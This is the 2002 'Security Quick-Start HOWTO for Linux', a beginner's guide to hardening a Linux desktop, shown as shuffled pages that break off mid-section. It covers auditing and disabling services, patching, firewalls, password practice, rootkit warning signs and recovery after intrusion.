This is a lot of information to digest at all at one time and expect anyone to understand it all. Hopefully this can used as a starting point, and used for future reference as well. The packet filter firewall examples can be used as starting points as well. Just use your text editor, cut and paste into a file with an appropriate name, and then run chmod +x against it to make it executable. Some minor editing of the variables may be necessary. Also look at the Links section for sites and utilities that can be used to generate a custom script. This may be a little less daunting.

Now we are done with Steps 1, 2 and 3. Hopefully by now you have already instituted some basic measures to protect your system(s) from the various and sundry threats that lurk on networks. If you haven't implemented any of the above steps yet, now is a good time to take a break, go back to the top, and have at it. The most important steps are the ones above.

A few quick conclusions...

"What is best iptables, ipchains, tcpwrappers, or portsentry?" The quick answer is that iptables can do more than any of the others. So if you are using a 2.4 kernel, use iptables. Then, ipchains if using a 2.2 kernel. The long answer is "it just depends on what you are doing and what the objective is". Sorry. The other tools all have some merit in any given situation, and all can be effective in the right situation.

"Do I really need all these packages?" No, but please combine more than one approach, and please follow all the above recommendations. iptables by itself is good, but in conjunction with some of the other approaches, we are even stronger. Do not rely on any single mechanism to provide a security blanket. "Layers" of protection is always best. As is sound administrative practices. The best iptables script in the world is but one piece of the puzzle, and should not be used to hide other system weaknesses.

"If I have a small home LAN, do I need to have a firewall on each computer?" No, not necessary as long as the LAN gateway has a properly configured firewall. Unwanted traffic should be stopped at that point. And as long as this is working as intended, there should be no unwanted traffic on the LAN. But, by the same token, doing this certainly does no harm. And on larger LANs that might be mixed platform, or with untrusted users, it would be advisable.

Prev | Home | Next
Step 2: Updating |  | Intrusion Detection


Foreword

Security Quick-Start HOWTO for Linux
Prev Next

2. Foreword

Before getting into specifics, let's try to briefly answer some questions about why we need to be concerned about security in the first place.

It is easy to see why an e-commerce site, an on-line bank, or a government agency with sensitive documents would be concerned about security. But what about the average user? Why should even a Linux home Desktop user worry about security?

Anyone connected to the Internet is a target, plain and simple. It makes little difference whether you have a part-time dialup connection, or a full-time connection, though full-time connections make for bigger targets. Larger sites make for bigger targets too, but this does not let small users off the hook since the "small user" may be less skilled and thus an easier victim.

There are those out there that are scanning just for easy victims all the time. If you start logging unwanted connection attempts, you will see this soon enough. There is little doubt that many of these attempts are maliciously motivated and the attacker, in some cases, is looking for Linux boxes to crack. Does someone on the other side of the globe really want to borrow my printer?

What do they want? Often, they just may want your computer, your IP address, and your bandwidth. Then they use you to either attack others, or possibly commit crimes or mischief and are hiding their true identity behind you. This is an all too common scenario. Commercial and high-profile sites are targeted more directly and have bigger worries, but we all face this type of common threat.

With a few reasonable precautions, Linux can be very secure, and with all the available tools, makes for a fantastically fun and powerful Internet connection or server. Most successful break-ins are the result of ignorance or carelessness.

The bottom line is:

  • Do you want control of your own system or not?

  • Do you want to unwittingly participate in criminal activity?

  • Do you want to be used by someone else?

  • Do you want to risk losing your Internet connection?

  • Do you want to have to go through the time consuming steps of reclaiming your system?

  • Do you want to chance the loss of data on your system?

These are all real possibilities, unless we take the appropriate precautions.

Warning

If you are reading this because you have already been broken into, or suspect that you have, you cannot trust any of your system utilities to provide reliable information. And the suggestions made in the next several sections will not help you recover your system. Please jump straight to the Have I been Hacked? section, and read that first.

2.1. The Optimum Configuration

Ideally, we would want one computer as a dedicated firewall and router. This would be a bare bones installation, with no servers running, and only the required services and components installed. The rest of our systems would connect via this dedicated router/firewall system. If we wanted publicly accessible servers (web, mail, etc), these would be in a "DMZ" (De-militarized Zone). The router/firewall allows connections from outside to whatever services are running in the DMZ by "forwarding" these requests, but it is segregated from the rest of the internal network (aka LAN) otherwise. This leaves the rest of the internal network in fairly secure isolation, and relative safety. The "danger zone" is confined to the DMZ.

But not everyone has the hardware to dedicate to this kind of installation. This would require a minimum of two computers. Or three, if you would be running any publicly available servers (not a good idea initially). Or maybe you are just new to Linux, and don't know your way around well enough yet. So if we can't do the ideal installation, we will do the next best thing.

2.2. Before We Start

Before we get to the actual configuration sections, a couple of notes.

First, one of the interesting aspects of Linux, is the different distributions like Caldera, Red Hat, SuSE, and Debian. While these are all "Linux", and may share certain features, there is surely some differences as to what utilities they may install as defaults. Most Linux distributions will write their own system configuration tools as well. And with Linux, there is always more than one way to skin a cat. But for the purposes of our discussion, we will have to use as generic set of tools as we can. Unfortunately, GUI tools don't lend themselves to this type of documentation. We will be using text based, command line tools for the most part. If you are familiar with your distribution's utilities, feel free to substitute those in appropriate places. And if not, you should learn them or suitable alternatives.

The next several sections have been written such that you can perform the recommended procedures as you read along. This is the "Quick Start" in the document title!

To get ready, what you will need for the configuration sections below:

  • A text editor. There are many available. If you use a file manager application , it probably has a built in editor. This will be fine. pico and mcedit are two relatively easy to use editors if you don't already have a favorite. There is a quick guide to Text editors in the Appendix that might help you get started. It is always a good idea to make a back up copy, before editing system configuration files.

  • For non-GUI editors and some of the commands, you will also need a terminal window opened. xterm, rxvt, and gnome-terminal all will work, as well as others.

  • You should also be familiar with your distribution's method of stopping services from running on each boot. Also, how they install (and uninstall) packages (rpm, deb, etc). And where to find the updates for your release. This information is available in your release's documentation, or on your vendor's web site.

We'll be using a hypothetical system here for examples with the hostname "bigcat". Bigcat is a Linux desktop with a fresh install of the latest/greatest Linux distro running. Bigcat has a full-time, direct Internet connection. Even if your installation is not so "fresh", don't be deterred. Better late than never.

Prev | Home | Next
Introduction |  | Step 1: Which services do we really need?


General Tips

Security Quick-Start HOWTO for Linux
Prev Next

7. General Tips

This section will quickly address some general concepts for maintaining a more secure and reliable system or network. Let's emphasize "maintaining" here since computer systems change daily, as does the environment around them. As mentioned before, there isn't any one thing that makes a system secure. There are too many variables. Security is an approach and an attitude more than it is a reliance on any particular product, application or specific policy.

  • Do not allow remote root logins. This may be controlled by a configuration file such as /etc/securetty. Remove any lines that begin "pts". This is one big security hole.

  • In fact, don't log in as root at all. Period. Log in on your user account and su to root when needed. Whether the login is remote or local. Or use sudo, which can run individual commands with root privileges. (There should be a sudo package available from your vendor.) This takes some getting used to, but it is the "right" way to do things. And the safest. And will become more a more natural way of doing this as time goes on.

    I know someone is saying right now "but that is so much trouble, I am root, and it is my system". True, but root is a specialized account that was not ever meant to be used as a regular user account. Root has access to everything, even hardware devices. The system "trusts" root. It believes that you know what you are doing. If you make a mistook, it assumes that you meant that, and will do it's best to do what you told it to do...even if that destroys the system!

    As an example, let's say you start X as root, open Netscape, and visit a web site. The web page has badly behaved java script. And conceivably now that badly written java script might have access to much more of your system than if you had done it the "right" way.

  • Take passwords seriously. Don't give them out to anyone. Don't use the same one for everything. Don't use root's password for anything else -- except root's password! Never sign up or register on line, using any of your system passwords. Passwords should be a combination of mixed case letters, numbers and/or punctuation and a reasonable length (eight characters or longer). Don't use so-called "dictionary" words that are easy to guess like "cat" or "dog". Don't incorporate personal information like names or dates or hostnames. Don't write down system passwords -- memorize them.

    Use the more secure "shadow" passwords. This should be the default for any recent Linux distribution now. If the file /etc/shadow exists, then it is enabled already. The commands pwconv and grpconv, can be used to convert password and group files to shadow format if available.

  • Avoid using programs that require clear text logins over untrusted networks like the Internet. Telnet is a prime example. ssh is much better. If there is any support for SSL (Secure Socket Layers), use it. For instance, does your ISP offer POP or IMAP mail via SSL? Recent distributions should include openssl, and many Linux applications can use SSL where support is available.

  • Set resource limits. There are various ways to do this. The need for this probably increases with the number of users accessing a given system. Not only does setting limits on such things as disk space prevent intentional mischief, it can also help with unintentionally misbehaved applications or processes. quota (man quota) can be used to set disk space limits. Bash includes the ulimit command (man ulimit or man bash), that can limit various functions on a per user basis.

    Also, not discussed here at any length, but PAM (Pluggable Authentication Modules) has a very sophisticated approach to controlling various system functions and resources. See man pam to get started. PAM is configured via either /etc/pam.conf or /etc/pam.d/*. Also files in /etc/security/*, including /etc/security/limits.conf, where again various sane limits can be imposed. An in depth look at PAM is beyond the scope of this document. The User-Authentication HOWTO (http://linuxdoc.org/HOWTO/User-Authentication-HOWTO/index.html) has more on this.

  • Make sure someone with a clue is getting root's mail. This can be done with an "alias". Typically, the mail server will have a file such as /etc/aliases where this can defined. This can conceivably be an account on another machine if need be:

 # Person who should get root's mail.  This alias
 # must exist.
 # CHANGE THIS LINE to an account of a HUMAN
 root:           hal@bigcat

    Remember to run newaliases (or equivalent) afterward.

  • Be careful where you get software. Use trusted sources. How well do you trust complete strangers? Check your vendor first if looking for a specific package. It will probably be best suited for your system any way. Or, the original package's project site is good as well. Installing from raw source (either tarball or src.rpm) at least gives you the ability to examine the code. Even if you don't understand it ;-) While this does not seem to be a wide spread problem with Linux software sites, it is very trivial for someone to add a very few lines of code, turning that harmless looking binary into a "Trojan horse" that opens a backdoor to your system. Then the jig is up.

  • So someone has scanned you, probed you, or otherwise seems to want into your system? Don't retaliate. There is a good chance that the source IP address is a compromised system, and the owner is a victim already. Also, you may be violating someone's Terms of Service, and have trouble with your own ISP. The best you can do is to send your logs to the abuse department of the source IP's ISP, or owner. This is often something like "abuse@someisp.com". Just don't expect to hear much back. Generally speaking, such activity is not legally criminal, unless an actual break-in has taken place. Furthermore, even if criminal, it will never be prosecuted unless significant damage (read: big dollars) can be shown.

  • Red Hat,Mandrake and Debian users can install the "Bastille Hardening System", http://www.bastille-linux.org/. This is a multi-purpose system for "hardening" Red Hat and Mandrake system security. It has a GUI interface which can be used to construct firewall scripts from scratch and configure PAM among many other things. Debian support is new.

  • So you have a full-time Internet connection via cable-modem or DSL. But do you always use it, or always need it? There's an old saying that "the only truly secure system, is a disconnected system". Well, that's certainly one option. So take that interface down, or stop the controlling daemon (dhcpcd, pppoed, etc). Or possibly even set up cron jobs to bring your connection up and down according to your normal schedule and usage.

  • What about cable and DSL routers that are often promoted as "firewalls"? The lower priced units are mostly equating NAT (Network Address Translation), together with the ability to open holes for ports through it, as a firewall. While NAT itself does provide a fair degree of security for the systems behind the NAT gateway, this does not constitute anything but a very rudimentary firewall. And if holes are opened, there is still exposure. Also, you are relying on the router's firmware and implementation not to be flawed. It is wise to have some kind of additional protection behind such routers.

  • What about wireless network cards and hubs? Insecure, despite what the manufacturers may claim. Treat these connections just as you would an Internet connection. Use secure protocols like ssh only! Even if it is just one LAN box to another.

  • If you find you need to run a particular service, and it is for just you, or maybe a relatively small number of people, use a non-standard port. Most server daemons support this. For instance, sshd runs on port 22 by default. All worms and script kiddies will expect it there, and look for it there. So, run it on another port! See the sshd man page.

  • Lastly, know your system! Let's face it, if you are new to Linux, you can't already know something you have never used. Understood. But in the process of learning, learn how to do things the right way, not the easiest way. There is several decades of history behind "the right way" of doing things. This has stood the test of time. What may seem unnecessary or burdensome now, will make sense in due time.

    Be familiar with whatever services you are running, and the implications these services might have to the overall health of your system if something does go wrong. Read what you can, and ask questions. Don't run something as a service "just because I can", or because the installer put it there. You can't start out being an experienced System Administrator clearly. But you can work to learn enough about your own system, that you are in control. This is one thing that separates *nix from MS systems: we can never be in complete control with MS, but we can with *nix. Conversely, if something bad happens, we often have no one else to blame.

Prev | Home | Next
Intrusion Detection |  | Appendix


Security Quick-Start HOWTO for Linux

Hal Burgiss

hal@foobox.net

v. 1.1, 2002-02-06

Revision History
Revision v. 1.1 | 2002-02-06 | Revised by: hb
A few fixes, some additions and many touch-ups from the original.
Revision v. 1.0 | 2001-11-07 | Revised by: hb
Initial Release.

This document is a an overview of the basic steps required to secure a Linux installation from intrusion. It is intended to be an introduction.

Table of Contents
1. Introduction
1.1. Why me?
1.2. Copyright
1.3. Credits
1.4. Disclaimer
1.5. New Versions and Changelog
1.6. Feedback
2. Foreword
2.1. The Optimum Configuration
2.2. Before We Start
3. Step 1: Which services do we really need?
3.1. System Audit
3.2. The Danger Zone (or r00t m3 pl34s3)
3.3. Stopping Services
3.4. Exceptions
3.5. Summary and Conclusions for Step 1
4. Step 2: Updating
4.1. Summary and Conclusions for Step 2
5. Step 3: Firewalls and Setting Access Policies
5.1. Strategy
5.2. Packet Filters -- Ipchains and Iptables
5.3. Tcpwrappers (libwrap)
5.4. PortSentry
5.5. Proxies
5.6. Individual Applications
5.7. Verifying
5.8. Logging
5.9. Where to Start
5.10. Summary and Conclusions for Step 3
6. Intrusion Detection
6.1. Intrusion Detection Systems (IDS)
6.2. Have I Been Hacked?
6.3. Reclaiming a Compromised System
7. General Tips
8. Appendix
8.1. Servers, Ports, and Packets
8.2. Common Ports
8.3. Netstat Tutorial
8.4. Attacks and Threats
8.5. Links
8.6. Editing Text Files
8.7. nmap
8.8. Sysctl Options
8.9. Secure Alternatives
8.10. Ipchains and Iptables Redux
Next
Introduction


Introduction

Security Quick-Start HOWTO for Linux
Prev Next

1. Introduction

1.1. Why me?

Who should be reading this document and why should the average Linux user care about security? Those new to Linux, or unfamiliar with the inherent security issues of connecting a Linux system to large networks like Internet should be reading. "Security" is a broad subject with many facets, and is covered in much more depth in other documents, books, and on various sites on the Web. This document is intended to be an introduction to the most basic concepts as they relate to Linux, and as a starting point only.

Iptables Weekly Log Summary from Jul 15 04:24:13 to Jul 22 04:06:00
Blocked Connection Attempts:

Rejected tcp packets by destination port

port                 count
111                  19
53                   12
21                   9
515                  9
27374                8
443                  6
1080                 2
1138                 1

Rejected udp packets by destination port

port                 count
137                  34
22                   1

The above is real, live data from a one week period for my home LAN. Much of the above would seem to be specifically targeted at Linux systems. Many of the targeted "destination" ports are used by well known Linux and Unix services, and all may be installed, and possibly even running, on your system.

The focus here will be on threats that are shared by all Linux users, whether a dual boot home user, or large commercial site. And we will take a few, relatively quick and easy steps that will make a typical home Desktop system or small office system running Linux reasonably safe from the majority of outside threats. For those responsible for Linux systems in a larger or more complex environment, you'd be well advised to read this, and then follow up with additional reading suitable to your particular situation. Actually, this is probably good advice for everybody.

We will assume the reader knows little about Linux, networking, TCP/IP, and the finer points of running a server Operating System like Linux. We will also assume, for the sake of this document, that all local users are "trusted" users, and won't address physical or local network security issues in any detail. Again, if this is not the case, further reading is strongly recommended.

The principles that will guide us in our quest are:

  • There is no magic bullet. There is no one single thing we can do to make us secure. It is not that simple.

  • Security is a process that requires maintenance, not an objective to be reached.

  • There is no 100% safe program, package or distribution. Just varying degrees of insecurity.

The steps we will be taking to get there are:

  • Step 1: Turn off, and perhaps uninstall, any and all unnecessary services.

  • Step 2: Make sure that any services that are installed are updated and patched to the current, safe version -- and then stay that way. Every server application has potential exploits. Some have just not been found yet.

  • Step 3: Limit connections to us from outside sources by implementing a firewall and/or other restrictive policies. The goal is to allow only the minimum traffic necessary for whatever our individual situation may be.

  • Awareness. Know your system, and how to properly maintain and secure it. New vulnerabilities are found, and exploited, all the time. Today's secure system may have tomorrow's as yet unfound weaknesses.

If you don't have time to read everything, concentrate on Steps 1, 2, and 3. This is where the meat of the subject matter is. The Appendix has a lot of supporting information, which may be helpful, but may not be necessary for all readers.

1.2. Copyright

Security-Quickstart HOWTO for Linux

Copyright © 2001 Hal Burgiss.

This document is free; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You can get a copy of the GNU GPL at at http://www.gnu.org/copyleft/gpl.html.

1.3. Credits

Many thanks to those who helped with the production of this document.

  • Bill Staehle, who has done a little bit of everything: ideas, editing, encouragement, and suggestions, many of which have been incorporated. Bill helped greatly with the content of this document.

  • Others who have contributed in one way or another: Dave Wreski, Ian Jones, and Jacco de Leeuw.

  • Various posters on comp.os.linux.security, a great place to learn about Linux and security.

  • The Netfilter Development team for their work on iptables and connection tracking, state of the art tools with which to protect our systems.

1.4. Disclaimer

The author accepts no liability for the contents of this document. Use the concepts, examples and other content at your own risk. As this is a new document, there may be errors and inaccuracies. Hopefully these are few and far between. Corrections and suggestions are welcomed.

This document is intended to give the new user a starting point for securing their system while it is connected to the Internet. Please understand that there is no intention whatsoever of claiming that the contents of this document will necessarily result in an ultimately secure and worry-free computing environment. Security is a complex topic. This document just addresses some of the most basic issues that inexperienced users should be aware of.

The reader is encouraged to read other security related documentation and articles. And to stay abreast of security issues as they evolve. Security is not an objective, but an ongoing process.

1.5. New Versions and Changelog

The current official version can always be found at http://www.linuxdoc.org/HOWTO/Security-Quickstart-HOWTO/. Pre-release versions can be found at http://feenix.burgiss.net/ldp/quickstart/.

Other formats, including PDF, PS, single page HTML, may be found at the Linux Documentation HOWTO index page: http://linuxdoc.org/docs.html#howto.

Changelog:

Version 1.1: Various corrections, amplifications and numerous mostly small additions. Too many to list. Oh yea, learn to spell Red Hat correctly ;-)

Version 1.0: This is the initial release of this document. Comments welcomed.

1.6. Feedback

Any and all comments on this document are most welcomed. Please make sure you have the most current version before submitting corrections or suggestions! These can be sent to <hal@foobox.net>.

Prev | Home | Next
Security Quick-Start HOWTO for Linux |  | Foreword


Intrusion Detection

Security Quick-Start HOWTO for Linux
Prev Next

6. Intrusion Detection

This section will deal with how to get early warning, how to be alerted after the fact, and how to clean up from intrusion attempts.

6.1. Intrusion Detection Systems (IDS)

Intrusion Detection Systems (IDS for short) are designed to catch what might have gotten past the firewall. They can either be designed to catch an active break-in attempt in progress, or to detect a successful break-in after the fact. In the latter case, it is too late to prevent any damage, but at least we have early awareness of a problem. There are two basic types of IDS: those protecting networks, and those protecting individual hosts.

For host based IDS, this is done with utilities that monitor the filesystem for changes. System files that have changed in some way, but should not change -- unless we did it -- are a dead give away that something is amiss. Anyone who gets in, and gets root, will presumably make changes to the system somewhere. This is usually the very first thing done. Either so he can get back in through a backdoor, or to launch an attack against someone else. In which case, he has to change or add files to the system.

This is where tools like tripwire (http://www.tripwire.org) play a role. Such tools monitor various aspects of the filesystem, and compare them against a stored database. And can be configured to send an alert if any changes are detected. Such tools should only be installed on a known "clean" system.

For home desktops and home LANs, this is probably not an absolutely necessary component of an overall security strategy. But it does give peace of mind, and certainly does have its place. So as to priorities, make sure the Steps 1, 2 and 3 above are implemented and verified to be sound, before delving into this.

RPM users can get somewhat the same results with rpm -Va, which will verify all packages, but without all the same functionality. For instance, it will not notice new files added to most directories. For this to be helpful, it needs to be done after a clean install, and then each time any packages are upgraded or added. Example:

 # rpm -Va > /root/system.checked

Then we have a stored system snapshot that we can refer back to.

Debian users have a similar tool with debsums.

 # debsums -s > /root/system.checked

Another idea is to run chkrootkit (http://www.chkrootkit.org/) as a weekly cron job. This will detect common "rootkits".

6.2. Have I Been Hacked?

Maybe you are reading this because you've noticed something "odd" about your system, and are suspicious that someone was gotten in? This can be a clue.

The first thing an intruder typically does is install a "rootkit". There are many prepackaged rootkits available on the Internet. The rootkit is essentially a script, or set of scripts, that makes quick work of modifying the system so the intruder is in control, and he is well hidden. He does this by installing modified binaries of common system utilities and tampering with log files. Or by using special kernel modules that achieve similar results. So common commands like ls may be modified so as to not show where he has his files stored. Clever!

A well designed rootkit can be quite effective. Nothing on the system can really be trusted to provide accurate feedback. Nothing! But sometimes the modifications are not as smooth as intended and give hints that something is not right. Some things that might be warning signs:

  • Login acts weird. Maybe no one can login. Or only root can login. Any login weirdness at all should be suspicious. Similarly, any weirdness with adding or changing passwords.

  • System utilities are slower, or awkward, or show strange and unexpected results. Common utilities that might be modified are: ls, find, who, w, last, netstat, login, ps, top. This is not a definitive list!

  • Files or directories named "..." or ".. " (dot dot space). A sure bet in this case. Files with haxor looking names like "r00t-something".

  • Unexplained bandwidth usage.

  • Logs that are missing completely, or missing large sections. Or a sudden change in syslog behavior.

  • Mysterious open ports, or processes.

  • Files that cannot be deleted or moved. Some rootkits use chattr to make files "immutable", or not changable. This kind of change will not show up with ls, so the files look normal at first glance. See the man pages for chattr and lsattr on how to reverse this. Then see the next section below on restoring your system as the jig is up at this point.

  • Indications of a "sniffer", such as log messages of an interface entering "promiscuous" mode.

  • Modifications to /etc/inetd.conf, or /etc/passwd. Especially, any additions. Try using cat or tail to view these files. Additions will most likely be appended to the end. Remember though such changes may not be "visible" to any system tools.

Sometimes the intruder is not so smart and forgets about root's .bash_history, or cleaning up log entries, or even leaves strange, leftover files in /tmp. So these should always be checked. Just don't necessarily expect them to be accurate.

Packet sniffers, like tcpdump (http://www.tcpdump.org), might be useful in finding any uninvited traffic. Interpreting sniffer output is probably beyond the average new user. snort (http://www.snort.org), and ethereal (http://www.ethereal.com), are also good. Ethereal has a GUI.

As mentioned, a compromised system will undoubtedly have altered system binaries, and the output of system utilities is not to be trusted. Nothing on the system can be relied upon to be telling you the truth. Re-installing individual packages may or may not help since it could be system libraries or kernel modules that are doing the dirty work.

RPM users can use rpm -Va |less to attempt to verify the integrity all packages. But again there is no assurance that rpm itself has not been tampered with, or the system components that RPM relies on.

If you have pstree on your system, try this instead of the standard ps. Sometimes the script kiddies forget about this one. No guarantees though that this is accurate either.

You can also try querying the /proc filesystem, which contains everything the kernel knows about processes that are running:

 # cat /proc/*/stat | awk '{print $1,$2}'

This will provide a list of all processes and PIDs numbers (assuming a malicious kernel module is not hiding this).

Another approach is to visit http://www.chkrootkit.org, download their rootkit checker, and see what it says.

Some interesting discussions on issues surrounding forensics can be found at http://www.fish.com/security/. There is also a collection of tools available, aptly called "The Coroner's Toolkit" (TCT).

Read below for steps on recovering from an intrusion.

6.3. Reclaiming a Compromised System

So now you've confirmed a break-in, and know that someone else has root access, and quite likely one or more hidden backdoors to your system. You've lost control. How to clean up and regain control?

There is no sure fire way of doing this short of a complete re-install. There is no way to find with assurance all the modified files and backdoors that may have been left. Trying to patch up a compromised system risks a false sense of security and may actually aggravate an already bad situation.

The steps to take, in this order:

  • Pull the plug and disconnect the machine. You may be unwittingly participating in criminal activity, and doing to others what has been done to you.

  • Depending on the needs of the situation and time available to restore the system, it is advantageous to learn as much as you can about how the attacker got in, and what was done in order to plug the hole and avoid a recurrence. This could conceivably be time consuming, and is not always feasible. And it may require more expertise than the typical user possesses.

  • Backup important data. Do not include any system files in the backup, and system configuration files like inetd.conf. Limit the backup to personal data files only! You don't want to backup, then restore something that might open a backdoor or other hole.

  • Re-install from scratch, and reformat the drive during the installation (mke2fs) to make sure no remnants are hiding.

  • Restore from backups. After a clean install is the best time to install an IDS (Intrusion Detection System) such as tripwire (http://www.tripewire.org).

  • Apply all updates or patches for your distribution. Check your vendor's web site for security related notices.

  • Re-examine your system for unnecessary services. Re-examine your firewall and access policies, and tighten all holes. Use new passwords, as these were stolen in all likelihood.

  • Re-connect system ;-)

At this time, any rootkit cleanup tools that may be available on-line are not recommended. They probably do work just fine most of the time. But again, how to be absolutely sure that all is well and all vestiges of the intrusion are gone?

Prev | Home | Next
Step 3: Firewalls and Setting Access Policies |  | General Tips


Step 1: Which services do we really need?

Security Quick-Start HOWTO for Linux
Prev Next

3. Step 1: Which services do we really need?

In this section we will see which services are running on our freshly installed system, decide which we really need, and do away with the rest. If you are not familiar with how servers and TCP connections work, you may want to read the section on servers and ports in the Appendix first. If not familiar with the netstat utility, you may want to read a quick overview of it beforehand. There is also a section in the Appendix on ports, and corresponding services. You may want to look that over too.

Our goal is to turn off as many services as possible. If we can turn them all off, or at least off to outside connections, so much the better. Some rules of thumb we will use to guide us:

  • It is perfectly possible to have a fully functional Internet connection with no servers running that are accessible to outside connections. Not only possible, but desirable in many cases. The principle here is that you will never be successfully broken into via a port that is not opened because no server is listening on it. No server == no port open == not vulnerable. At least to outside connections.

  • If you don't recognize a particular service, chances are good you don't really need it. We will assume that and so we'll turn it off. This may sound dangerous, but is a good rule of thumb to go by.

  • Some services are just not intended to be run over the Internet -- even if you decide it is something you really do need. We'll flag these as dangerous, and address these in later sections, should you decide you do really need them, and there is no good alternative.

3.1. System Audit

So what is really running on our system anyway? Let's not take anything for granted about what "should" be running, or what we "think" is running.

Unfortunately, there is no such things as a standard Linux installation. The wide variety of servers available, coupled with each particular distribution's installation options, make providing a ready made list impossible. The best that can be done is show you how to list all running services, and point you in the right general direction.

Now open an xterm, and su to root. You'll need to widen the window wide so the lines do not wrap. Use this command: netstat -tap |grep LISTEN. This will give us a list of all currently running servers as indicated by the keyword LISTEN, along with the "PID" and "Program Name" that started each particular service.

# netstat -tap |grep LISTEN
  *:exec               *:*        LISTEN    988/inetd
  *:login              *:*        LISTEN    988/inetd
  *:shell              *:*        LISTEN    988/inetd
  *:printer            *:*        LISTEN    988/inetd
  *:time               *:*        LISTEN    988/inetd
  *:x11                *:*        LISTEN    1462/X
  *:http               *:*        LISTEN    1078/httpd
  bigcat:domain        *:*        LISTEN    956/named
  bigcat:domain        *:*        LISTEN    956/named
  *:ssh                *:*        LISTEN    972/sshd
  *:auth               *:*        LISTEN    388/in.identd
  *:telnet             *:*        LISTEN    988/inetd
  *:finger             *:*        LISTEN    988/inetd
  *:sunrpc             *:*        LISTEN    1290/portmap
  *:ftp                *:*        LISTEN    988/inetd
  *:smtp               *:*        LISTEN    1738/sendmail: accepting connections
  *:1694               *:*        LISTEN    1319/rpc.mountd
  *:netbios-ssn        *:*        LISTEN    422/smbd

Note the first three columns are cropped above for readability. If your list is as long as the example, you have some work ahead of you! It is highly unlikely that you really need anywhere near this number of servers running.

Please be aware that the example above is just one of many, many possible system configurations. Yours probably does look very different.

You don't understand what any of this is telling you? Hopefully then, you've read the netstat tutorial in the Appendix, and understand how it works. Understanding exactly what each server is in the above example, and what it does, is beyond the scope of this document. You will have to check your system's documentation (e.g. Installation Guide, man pages, etc) if that service is important to you. For example, does "exec", "login", and "shell" sound important? Yes, but these are not what they may sound like. They are actually rexec, rlogin, and rsh, the "r" (for remote) commands. These are antiquated, unnecessary, and in fact, are very dangerous if exposed to the Internet.

Let's make a few quick assumptions about what is necessary and unnecessary, and therefore what goes and what stays on bigcat. Since we are running a desktop on bigcat, X11 of course needs to stay. If bigcat were a dedicated server of some kind, then X11 would be unnecessary. If there is a printer physically attached, the printer (lp) daemon should stay. Otherwise, it goes. Print servers may sound harmless, but are potential targets too since they can hold ports open. If we plan on logging in to bigcat from other hosts, sshd (Secure SHell Daemon) would be necessary. If we have Microsoft hosts on our LAN, we probably want Samba, so smbd should stay. Otherwise, it is completely unnecessary. Everything else in this example is optional and not required for a normally functioning system, and should probably go. See anything that you don't recognize? Not sure about? It goes!

To sum up: since bigcat is a desktop with a printer attached, we will need "x11", "printer". bigcat is on a LAN with MS hosts, and shares files and printing with them, so "netbios-ssn" (smbd) is desired. We will also need "ssh" so we can login from other machines. Everything else is unnecessary for this particular case.

Nervous about this? If you want, you can make notes of any changes you make or save the list of servers you got from netstat, with this command: netstat -tap |grep LISTEN > ~/services.lst. That will save it your home directory with the name of "services.lst" for future reference.

This is to not say that the ones we have decided to keep are inherently safe. Just that we probably need these. So we will have to deal with these via firewalling or other means (addressed below).

It is worth noting that the telnet and ftp daemons in the above example are servers, aka "listeners". These accept incoming connections to you. You do not need, or want, these just to use ftp or telnet clients. For instance, you can download files from an FTP site with just an ftp client. Running an ftp server on your end is not required at all, and has serious security implications.

There may be individual situations where it is desirable to make exceptions to the conclusions reached above. See below.

3.2. The Danger Zone (or r00t m3 pl34s3)

The following is a list of services that should not be run over the Internet. Either disable these (see below), uninstall, or if you really do need these services running locally, make sure they are the current, patched versions and that they are effectively firewalled. And if you don't have a firewall in place now, turn them off until it is up and verified to be working properly. These are potentially insecure by their very nature, and as such are prime cracker targets.

  • NFS (Network File System) and related services, including nfsd, lockd, mountd, statd, portmapper, etc. NFS is the standard Unix service for sharing file systems across a network. Great system for LAN usage, but dangerous over the Internet. And its completely unnecessary on a stand alone system.

  • rpc.* services, Remote Procedure Call.*, typically NFS and NIS related (see above).

  • Printer services (lpd).

  • The so-called r* (for "remote", i.e. Remote SHell) services: rsh, rlogin, rexec, rcp etc. Unnecessary, insecure and potentially dangerous, and better utilities are available if these capabilities are needed. ssh will do everything these command do, and in a much more sane way. See the man pages for each if curious. These will probably show in netstat output without the "r": rlogin will be just "login", etc.

  • telnet server. There is no reason for this anymore. Use sshd instead.

  • ftp server. There are better, safer ways for most systems to exchange files like scp or via http (see below). ftp is a proper protocol only for someone who is running a dedicated ftp server, and who has the time and skill to keep it buttoned down. For everyone else, it is potentially big trouble.

  • BIND (named), DNS server package. With some work, this can be done without great risk, but is not necessary in many situations, and requires special handling no matter how you do it. See the sections on Exceptions and special handling for individual applications.

  • Mail Transport Agent, aka "MTA" (sendmail, exim, postfix, qmail). Most installations on single computers will not really need this. If you are not going to be directly receiving mail from Internet hosts (as a designated MX box), but will rather use the POP server of your ISP, then it is not needed. You may however need this if you are receiving mail directly from other hosts on your LAN, but initially it's safer to disable this. Later, you can enable it over the local interface once your firewall and access policies have been implemented.

This is not necessarily a definitive list. Just some common services that are sometimes started on default Linux installations. And conversely, this does not imply that other services are inherently safe.

3.3. Stopping Services

The next step is to find where each server on our kill list is being started. If it is not obvious from the netstat output, use ps, find, grep or locate to find more information from the "Program name" or "PID" info in the last column. There is examples of this in the Process Owner section in the netstat Tutorial of the Appendix. If the service name or port number do not look familiar to you, you might get a real brief explanation in your /etc/services file.

Skeptical that we are going to break your system, and the pieces won't go back together again? If so, take this approach: turn off everything listed above in "The Danger Zone", and run your system for a while. OK? Try stopping one of the ones we found to be "unnecessary" above. Then, run the system for a while. Keep repeating this process, until you get to the bare minimum. If this works, then make the changes permanent (see below).

The ultimate objective is not just to stop the service now, but to make sure it is stopped permanently! So whatever steps you take here, be sure to check after your next reboot.

There are various places and ways to start system services. Let's look at the most common ways this is done, and is probably how your system works. System services are typically either started by "init" scripts, or by inetd (or its replacement xinetd) on most distributions. (The location of the init scripts may vary from distribution to distribution.)

3.3.1. Stopping Init Services

Init services are typically started automatically during the boot process, or during a runlevel change. There is a naming scheme that uses symlinks to determine which services are to be started, or stopped, at any given runlevel. The scripts themselves should be in /etc/init.d/ (or possibly /etc/rc.d/init.d/ ). This init style is used by Red Hat, SuSE, Mandrake, Debian, Conectiva, and most Linuxes. Slackware is one notable exception (though recent versions have an option for this)! Typically on Slackware system services are all configured in one file: /etc/rc.d/rc.inet2.

You can get a listing of these scripts:

